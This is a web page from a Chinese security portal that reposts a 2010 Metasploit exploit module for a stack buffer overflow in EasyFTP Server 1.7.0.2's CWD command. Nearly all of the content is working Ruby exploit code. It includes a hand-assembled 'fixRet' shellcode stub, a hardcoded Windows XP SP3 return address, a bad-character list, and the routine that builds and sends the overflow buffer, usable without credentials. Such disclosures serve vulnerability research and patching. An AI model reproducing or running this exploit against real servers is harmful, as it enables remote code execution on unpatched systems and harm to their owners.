首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)
来源:my.hndl[at]gmail.com 作者:Makowski 发布时间:2010-04-21  
# Exploit Title: EasyFTP Server <= 1.7.0.2 CWD Buffer Overflow (Metasploit)
# Date: April 19th, 2010
# Author: Paul Makowski (my.hndl@gmail.com || http://paulmakowski.wordpress.com)
# Software Link: http://easyftpsvr.googlecode.com/files/easyftpsvr-1.7.0.2.zip
# Version: EasyFTP Server <= 1.7.0.2
# Tested on: Windows XP SP3 English

# ways this could be improved:
# - write fixRet w/ metasm
# - use JMP ESP/EBPs for more targets

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Ftp
	
	$slack_space = 30
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'EasyFTP Server <= 1.7.0.2 CWD Command Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.2.
				EasyFTP fails to check input size when parsing 'CWD' commands, which allows for
				easy stack based buffer overflow exploitation.  EasyFTP allows anonymous access by
				default; valid credentials are typically unnecessary to exploit this vulnerability.
				
				Later versions may vulnerable, but have not been tested.
				
				This exploit utilizes a small piece of code that I've referred to as 'fixRet'.
				This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
				'fixing' the return address post-exploitation.  See references for more information.
			},
			'Author'         => [ 'Paul Makowski <my.hndl [at] gmail.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision
, 'References' => [ [ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ], [ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ], [ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ], [ 'URL', 'http://code.google.com/p/easyftpsvr/'], [ 'URL', 'https://tegosecurity.com/etc/return_overwrite/RCE_easy_ftp_server_1.7.0.2.zip' ], [ 'URL', 'http://www.securityfocus.com/bid/38262/exploit'] ], 'Privileged' => false, 'Payload' => { # Total bytes able to write without crashing program (505) - length of fixRet (25) - slack space (30) = 450 'Space' => 505 - $slack_space - 25, 'BadChars' => "\x00\x0a\x2f\x5c", # from: http://downloads.securityfocus.com/vulnerabilities/exploits/38262-1.py }, 'Platform' => 'win', 'Targets' => [ # This could be generalized, e.g. with a JMP ESP/EBP and then a short JMP @ ESP/EBP back to the beginning of the buffer [ 'Windows XP SP3 English', { 'Ret' => 0x009AFD58 } ], # absolute addr, from Jon Butler's exploit ], 'DisclosureDate' => 'Feb 16 2010', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /BigFoolCat/) # EasyFTP Server has undergone several name changes return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login # If the payload's length is larger than 233 bytes then the payload must be bisected with the return address and later patched. # Explanation of technique: http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/ fixRet = ( # length = 25 bytes "\x31\xc0" + # xor %eax,%eax "\x31\xdb" + # xor %ebx,%ebx "\x31\xc9" + # xor %ecx,%ecx "\xb8\xce\x54\x30\xaa" + # mov $0xaa3054ce,%eax "\xbb\xaa\xaa\xaa\xaa" + # mov $0xaaaaaaaa,%ebx "\x31\xd8" + # xor %ebx,%eax (now %eax should hold 0x009AFE64) "\xb9" + # mov _____, %ecx payload.encoded[payload.encoded.length - 233 - 4, 4] + # continuation of the above instruction; replace the 4 return address bytes with payload "\x89\x08" ) # mov %ecx,(%eax) print_status("Filling buffer with NOPs...") buf = make_nops(505) print_status("Prepending fixRet...") buf[0, fixRet.length] = fixRet print_status("Adding the payload...") buf[fixRet.length + $slack_space, payload.encoded.length] = payload.encoded # put payload in the buffer print_status("Overwriting part of the payload with target address...") buf[268, 4] = [ target.ret ].pack('V') # put return address @ 268 bytes print_status("Sending exploit buffer...") send_cmd( ['CWD', buf] , false) # this will automatically put a space between 'CWD' and our attack string handler disconnect end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Viscom Software Movie Player P
·HP Operations Manager <= v8.16
·MultiThreaded HTTP Server v1.1
·Local kernel 2.6.2x kernel pan
·MultiThreaded HTTP Server v1.1
·29 bytes chmod("/etc/shadow",
·Mongoose Web Server v2.8 Multi
·Huawei EchoLife HG520 Remote I
·Acritum Femitter v1.03 Directo
·Huawei EchoLife HG520c Denial
·Linux write() & exit(0) shellc
·AVTECH Software (AVC781Viewer.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved